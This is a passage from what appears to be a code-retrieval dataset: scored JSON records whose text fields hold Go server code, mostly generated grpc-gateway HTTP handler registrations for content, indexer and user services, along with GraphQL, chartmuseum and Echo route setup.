inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_CreateCampaign_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_Content_UpdateCampaign_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/UpdateCampaign\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_UpdateCampaign_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_UpdateCampaign_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_Content_DeleteCampaign_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/DeleteCampaign\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_DeleteCampaign_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_DeleteCampaign_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Content_CreateCampaignRequest_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/CreateCampaignRequest\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_CreateCampaignRequest_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_CreateCampaignRequest_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Content_UpdateCampaignRequest_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/UpdateCampaignRequest\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_UpdateCampaignRequest_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_UpdateCampaignRequest_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Content_GetCampaignRequestsByAgent_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetCampaignRequestsByAgent\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetCampaignRequestsByAgent_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetCampaignRequestsByAgent_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetAdCategories_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetAdCategories\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetAdCategories_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetAdCategories_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Content_CreateAdCategory_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/CreateAdCategory\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_CreateAdCategory_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_CreateAdCategory_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetUsersAdCategories_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetUsersAdCategories\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetUsersAdCategories_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetUsersAdCategories_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Content_CreateUserAdCategories_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/CreateUserAdCategories\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_CreateUserAdCategories_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_CreateUserAdCategories_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_Content_UpdateUsersAdCategories_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/UpdateUsersAdCategories\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_UpdateUsersAdCategories_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_UpdateUsersAdCategories_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "8cc430d57402fd75382e360f35223da5", "score": "0.5848922", "text": "func RegisterGraphqlServer(websrv *web.Server, servers ...*gqlgen.Server) error {\n\th, ok := websrv.HandlerManager().Get(graphqlHandlerName)\n\tif !ok {\n\t\treturn fmt.Errorf(\"handler %s not found\", graphqlHandlerName)\n\t}\n\tfor i, gqlserver := range servers {\n\t\tif gqlserver == nil {\n\t\t\tcontinue\n\t\t}\n\t\topt := h.(*Handler).opts[i]\n\t\tif opt.Skip {\n\t\t\tcontinue\n\t\t}\n\t\tif opt.WithAuthorization && !websrv.Router().ContextWithFallback {\n\t\t\treturn fmt.Errorf(\"configuration section 'web.engine.contextWithFallback must be true while using authorization\")\n\t\t}\n\t\tvar rg *web.RouterGroup\n\t\tif rg = websrv.Router().FindGroup(opt.Group); rg == nil {\n\t\t\trg = &web.RouterGroup{Group: &websrv.Router().Engine.RouterGroup, Router: websrv.Router()}\n\t\t}\n\t\tbuildGraphqlServer(rg, gqlserver, &opt)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "123e43773f2c560e359303b44a86440f", "score": "0.5844829", "text": "func Register(server *grpc.Server, handler *RequestHandler) {\n\tpb.RegisterGrpcGatewayServer(server, handler)\n}", "title": "" }, { "docid": "2bb79622c9833769440fe4cbeba427c5", "score": "0.58350885", "text": "func (s *Server) Register(name string, svc interface{}, ms ...handler.Middleware) error {\n\thdlr := middleware.Chain(handler.New(svc), ms...)\n\treturn s.mux.Add(name, hdlr)\n}", "title": "" }, { "docid": "c0cc3a07a6f603ad3e6a3e3f67bc216b", "score": "0.58306974", "text": "func RegisterServer(s *grpc.Server, srv Interface) {\n\tpb.RegisterCollectdServer(s, &server{\n\t\tInterface: srv,\n\t})\n}", "title": "" }, { "docid": "85ee62835f16aba3400b806da2f5cd25", "score": "0.5829217", "text": "func RegisterHandlers(router EchoRouter, si ServerInterface) {\n\n\twrapper := ServerInterfaceWrapper{\n\t\tHandler: si,\n\t}\n\n\trouter.GET(\"/guests/reservations\", wrapper.GuestsGetReservations)\n\trouter.POST(\"/guests/reservations\", wrapper.PostReservations)\n\trouter.GET(\"/guests/rooms\", wrapper.GuestsGetRooms)\n\trouter.GET(\"/guests/rooms/:roomId\", wrapper.GuestsGetRoom)\n\trouter.POST(\"/guests/users\", wrapper.GuestsPostUsers)\n\trouter.GET(\"/guests/users/me\", wrapper.GuestsGetMe)\n\trouter.GET(\"/hosts/reservations\", wrapper.HostsGetReservations)\n\trouter.GET(\"/hosts/rooms\", wrapper.HostsGetRooms)\n\trouter.POST(\"/hosts/rooms\", wrapper.HostsPostRooms)\n\trouter.DELETE(\"/hosts/rooms/:roomId\", wrapper.HostsDeleteRooms)\n\trouter.PUT(\"/hosts/rooms/:roomId\", wrapper.HostsPutRooms)\n\trouter.GET(\"/hosts/users/me\", wrapper.HostsGetMe)\n\n}", "title": "" }, { "docid": "1fb6012b207031322f8fe6ce74ddbdce", "score": "0.582664", "text": "func RegisterRoute(m *mux.PathRecorderMux, opts *Options) error {\n\tchartMuseumConfig, err := buildChartMuseumConfig(opts)\n\tif err != nil {\n\t\tlog.Error(\"Failed to initialize chartmuseum server configuration\", log.Err(err))\n\t\treturn err\n\t}\n\tmultiTenantServer, err := multitenant.NewMultiTenantServer(*chartMuseumConfig)\n\tif err != nil {\n\t\tlog.Error(\"Failed to create chartmuseum server\", log.Err(err))\n\t\treturn err\n\t}\n\n\t// add handler chain\n\tvar chainErr error\n\tvar handler http.Handler\n\thandler, chainErr = authorization.WithAuthorization(multiTenantServer.Router, &authorization.Options{\n\t\tAdminUsername: opts.RegistryConfig.Security.AdminUsername,\n\t\tExternalScheme: opts.ExternalScheme,\n\t\tLoopbackConfig: opts.LoopbackClientConfig,\n\t})\n\tif chainErr != nil {\n\t\treturn chainErr\n\t}\n\thandler, chainErr = authentication.WithAuthentication(handler, &authentication.Options{\n\t\tSecurityConfig: &opts.RegistryConfig.Security,\n\t\tExternalScheme: opts.ExternalScheme,\n\t\tOIDCIssuerURL: opts.OIDCIssuerURL,\n\t\tOIDCCAFile: opts.OIDCCAFile,\n\t\tTokenReviewPath: opts.OIDCTokenReviewPath,\n\t})\n\tif chainErr != nil {\n\t\treturn chainErr\n\t}\n\thandler = tenant.WithTenant(handler, PathPrefix, opts.RegistryConfig.DomainSuffix, opts.RegistryConfig.DefaultTenant)\n\thandler = request.WithRequestID(handler)\n\tm.HandlePrefix(PathPrefix, handler)\n\n\treturn nil\n}", "title": "" }, { "docid": "49884582e22189bc6941d3e90c07e61b", "score": "0.5825766", "text": "func RegisterIndexerHandlerServer(ctx context.Context, mux *runtime.ServeMux, server IndexerServer) error {\n\n\tmux.Handle(\"GET\", pattern_Indexer_GetIndexerStatus_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/.Indexer/GetIndexerStatus\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Indexer_GetIndexerStatus_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Indexer_GetIndexerStatus_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Indexer_GetBlockHash_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/.Indexer/GetBlockHash\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Indexer_GetBlockHash_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Indexer_GetBlockHash_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Indexer_GetTransaction_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/.Indexer/GetTransaction\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Indexer_GetTransaction_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Indexer_GetTransaction_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Indexer_GetDetailedTransaction_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/.Indexer/GetDetailedTransaction\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Indexer_GetDetailedTransaction_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Indexer_GetDetailedTransaction_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Indexer_GetAccount_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/.Indexer/GetAccount\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Indexer_GetAccount_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Indexer_GetAccount_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Indexer_GetBlock_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/.Indexer/GetBlock\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Indexer_GetBlock_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Indexer_GetBlock_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Indexer_GetBlockTxs_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/.Indexer/GetBlockTxs\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Indexer_GetBlockTxs_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Indexer_GetBlockTxs_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "eb1007dc85450ea88a5fa14d067e7bd8", "score": "0.5820841", "text": "func NewRegistryServer(timeout time.Duration) *RegistryServer {\n\treturn &RegistryServer{\n\t\tservers: make(map[string]*RegistryServerItem),\n\t\ttimeout: timeout,\n\t}\n}", "title": "" }, { "docid": "705bbbce09b84b5cafe6874ef053ad39", "score": "0.58121204", "text": "func RegisterHandlers(s server.Server, o Options) error {\n\tuserDao := dao.NewUserDao(o.DB)\n\terr := pb.RegisterUserServiceHandler(s, &userService{id: o.ServiceName, dao: userDao})\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "e4b2fd644c55f98f3a83f6ee3ff5d31f", "score": "0.5796788", "text": "func RegisterUsersServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server UsersServiceServer) error {\n\n\tmux.Handle(\"GET\", pattern_UsersService_GetUserInfo_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UsersService_GetUserInfo_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UsersService_GetUserInfo_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_UsersService_GetUserInfoByPhone_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UsersService_GetUserInfoByPhone_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UsersService_GetUserInfoByPhone_0(ctx, mux, outboundMarshaler, w, req, resp, 